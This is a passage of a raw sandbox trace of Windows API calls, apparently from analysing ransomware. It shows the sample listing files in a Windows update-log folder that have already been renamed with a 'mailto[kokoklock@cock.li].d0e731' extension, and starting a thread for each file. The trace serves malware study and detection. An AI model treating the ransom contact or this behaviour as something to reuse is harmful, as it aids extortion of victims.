nFileSizeLow=0x30c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.003.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UPDATE~3.D0E")) returned 1 [0170.855] wcscmp (_String1="UpdateSessionOrchestration.003.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.855] wcscmp (_String1="UpdateSessionOrchestration.003.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.855] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff26d8 [0170.855] wcscpy (in: _Dest=0x2ff26d8, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.855] wcscat (in: _Dest=0x2ff26d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.855] wcscat (in: _Dest=0x2ff26d8, _Source="UpdateSessionOrchestration.003.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl.mailto[kokoklock@cock.li].d0e731" [0170.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff26d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x790 [0170.856] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x60de6047, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x8a0bab75, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x10c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.004.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UPDATE~4.D0E")) returned 1 [0170.856] wcscmp (_String1="UpdateSessionOrchestration.004.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.856] wcscmp (_String1="UpdateSessionOrchestration.004.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.856] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff2600 [0170.856] wcscpy (in: _Dest=0x2ff2600, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.856] wcscat (in: _Dest=0x2ff2600, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.856] wcscat (in: _Dest=0x2ff2600, _Source="UpdateSessionOrchestration.004.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl.mailto[kokoklock@cock.li].d0e731" [0170.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff2600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x78c [0170.857] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa72ae253, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x8a0e0c6c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.005.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UPD9F0~1.D0E")) returned 1 [0170.857] wcscmp (_String1="UpdateSessionOrchestration.005.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.857] wcscmp (_String1="UpdateSessionOrchestration.005.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.857] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff0cb0 [0170.857] wcscpy (in: _Dest=0x2ff0cb0, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.857] wcscat (in: _Dest=0x2ff0cb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.857] wcscat (in: _Dest=0x2ff0cb0, _Source="UpdateSessionOrchestration.005.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl.mailto[kokoklock@cock.li].d0e731" [0170.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0cb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x784 [0170.858] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x5ca8efbc, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x8a107111, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x30c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.006.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UPDCA2~1.D0E")) returned 1 [0170.858] wcscmp (_String1="UpdateSessionOrchestration.006.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.858] wcscmp (_String1="UpdateSessionOrchestration.006.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.858] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff20f0 [0170.858] wcscpy (in: _Dest=0x2ff20f0, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.858] wcscat (in: _Dest=0x2ff20f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.858] wcscat (in: _Dest=0x2ff20f0, _Source="UpdateSessionOrchestration.006.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl.mailto[kokoklock@cock.li].d0e731" [0170.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff20f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x780 [0170.858] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4346f4fe, ftLastAccessTime.dwHighDateTime=0x1d41dc4, ftLastWriteTime.dwLowDateTime=0x8a1532e2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.007.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UPEEB5~1.D0E")) returned 1 [0170.858] wcscmp (_String1="UpdateSessionOrchestration.007.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.859] wcscmp (_String1="UpdateSessionOrchestration.007.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.859] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff1958 [0170.859] wcscpy (in: _Dest=0x2ff1958, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.859] wcscat (in: _Dest=0x2ff1958, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.859] wcscat (in: _Dest=0x2ff1958, _Source="UpdateSessionOrchestration.007.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl.mailto[kokoklock@cock.li].d0e731" [0170.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff1958, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x77c [0170.859] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x745a10f, ftLastAccessTime.dwHighDateTime=0x1d3aafc, ftLastWriteTime.dwLowDateTime=0x8a179503, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x30c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.008.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UP7B67~1.D0E")) returned 1 [0170.859] wcscmp (_String1="UpdateSessionOrchestration.008.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.859] wcscmp (_String1="UpdateSessionOrchestration.008.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.859] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff0b00 [0170.859] wcscpy (in: _Dest=0x2ff0b00, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.859] wcscat (in: _Dest=0x2ff0b00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.859] wcscat (in: _Dest=0x2ff0b00, _Source="UpdateSessionOrchestration.008.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl.mailto[kokoklock@cock.li].d0e731" [0170.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0b00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x788 [0170.860] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd59be406, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x8a19f77b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x10c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.009.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UP78B5~1.D0E")) returned 1 [0170.860] wcscmp (_String1="UpdateSessionOrchestration.009.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.860] wcscmp (_String1="UpdateSessionOrchestration.009.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.860] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff10e8 [0170.860] wcscpy (in: _Dest=0x2ff10e8, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.860] wcscat (in: _Dest=0x2ff10e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.860] wcscat (in: _Dest=0x2ff10e8, _Source="UpdateSessionOrchestration.009.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl.mailto[kokoklock@cock.li].d0e731" [0170.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff10e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e0 [0170.861] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x198319d2, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x8a23814f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.010.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UP67CE~1.D0E")) returned 1 [0170.861] wcscmp (_String1="UpdateSessionOrchestration.010.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.861] wcscmp (_String1="UpdateSessionOrchestration.010.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.861] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff11c0 [0170.861] wcscpy (in: _Dest=0x2ff11c0, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.861] wcscat (in: _Dest=0x2ff11c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.861] wcscat (in: _Dest=0x2ff11c0, _Source="UpdateSessionOrchestration.010.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl.mailto[kokoklock@cock.li].d0e731" [0170.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff11c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e4 [0170.862] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1c505b8c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8a25e336, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x30c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.011.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UP54A9~1.D0E")) returned 1 [0170.862] wcscmp (_String1="UpdateSessionOrchestration.011.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.862] wcscmp (_String1="UpdateSessionOrchestration.011.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.862] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff1e68 [0170.862] wcscpy (in: _Dest=0x2ff1e68, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.862] wcscat (in: _Dest=0x2ff1e68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.862] wcscat (in: _Dest=0x2ff1e68, _Source="UpdateSessionOrchestration.011.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl.mailto[kokoklock@cock.li].d0e731" [0170.862] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff1e68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e8 [0170.863] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xdaf93ab4, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0x8a2aa8b6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x30c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.012.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UPDDCE~1.D0E")) returned 1 [0170.863] wcscmp (_String1="UpdateSessionOrchestration.012.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.863] wcscmp (_String1="UpdateSessionOrchestration.012.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.863] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff0bd8 [0170.863] wcscpy (in: _Dest=0x2ff0bd8, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.863] wcscat (in: _Dest=0x2ff0bd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.863] wcscat (in: _Dest=0x2ff0bd8, _Source="UpdateSessionOrchestration.012.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl.mailto[kokoklock@cock.li].d0e731" [0170.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0bd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ec [0170.864] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1977635c, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x8a2d0b31, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.013.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UP7DFC~1.D0E")) returned 1 [0170.864] wcscmp (_String1="UpdateSessionOrchestration.013.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.864] wcscmp (_String1="UpdateSessionOrchestration.013.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.864] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff2018 [0170.864] wcscpy (in: _Dest=0x2ff2018, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.864] wcscat (in: _Dest=0x2ff2018, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.864] wcscat (in: _Dest=0x2ff2018, _Source="UpdateSessionOrchestration.013.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl.mailto[kokoklock@cock.li].d0e731" [0170.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff2018, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x52c [0170.864] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfc820227, ftLastAccessTime.dwHighDateTime=0x1d3375a, ftLastWriteTime.dwLowDateTime=0x8a2f6ca6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x30c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.014.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UP0AAE~1.D0E")) returned 1 [0170.865] wcscmp (_String1="UpdateSessionOrchestration.014.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.865] wcscmp (_String1="UpdateSessionOrchestration.014.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.865] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff0d88 [0170.865] wcscpy (in: _Dest=0x2ff0d88, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.865] wcscat (in: _Dest=0x2ff0d88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.865] wcscat (in: _Dest=0x2ff0d88, _Source="UpdateSessionOrchestration.014.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl.mailto[kokoklock@cock.li].d0e731" [0170.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0d88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e8 [0170.865] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfd9caf15, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0x8a34346f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x10c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.015.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UP07FC~1.D0E")) returned 1 [0170.865] wcscmp (_String1="UpdateSessionOrchestration.015.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.865] wcscmp (_String1="UpdateSessionOrchestration.015.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.865] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff22a0 [0170.866] wcscpy (in: _Dest=0x2ff22a0, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.866] wcscat (in: _Dest=0x2ff22a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.866] wcscat (in: _Dest=0x2ff22a0, _Source="UpdateSessionOrchestration.015.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl.mailto[kokoklock@cock.li].d0e731" [0170.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff22a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ec [0170.866] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda210f79, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0x8a38f6e0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.016.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UP7C51~1.D0E")) returned 1 [0170.866] wcscmp (_String1="UpdateSessionOrchestration.016.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.866] wcscmp (_String1="UpdateSessionOrchestration.016.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.866] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff0950 [0170.866] wcscpy (in: _Dest=0x2ff0950, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.867] wcscat (in: _Dest=0x2ff0950, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.867] wcscat (in: _Dest=0x2ff0950, _Source="UpdateSessionOrchestration.016.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl.mailto[kokoklock@cock.li].d0e731" [0170.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0950, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f0 [0170.867] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe0798fd2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8a3b5aca, 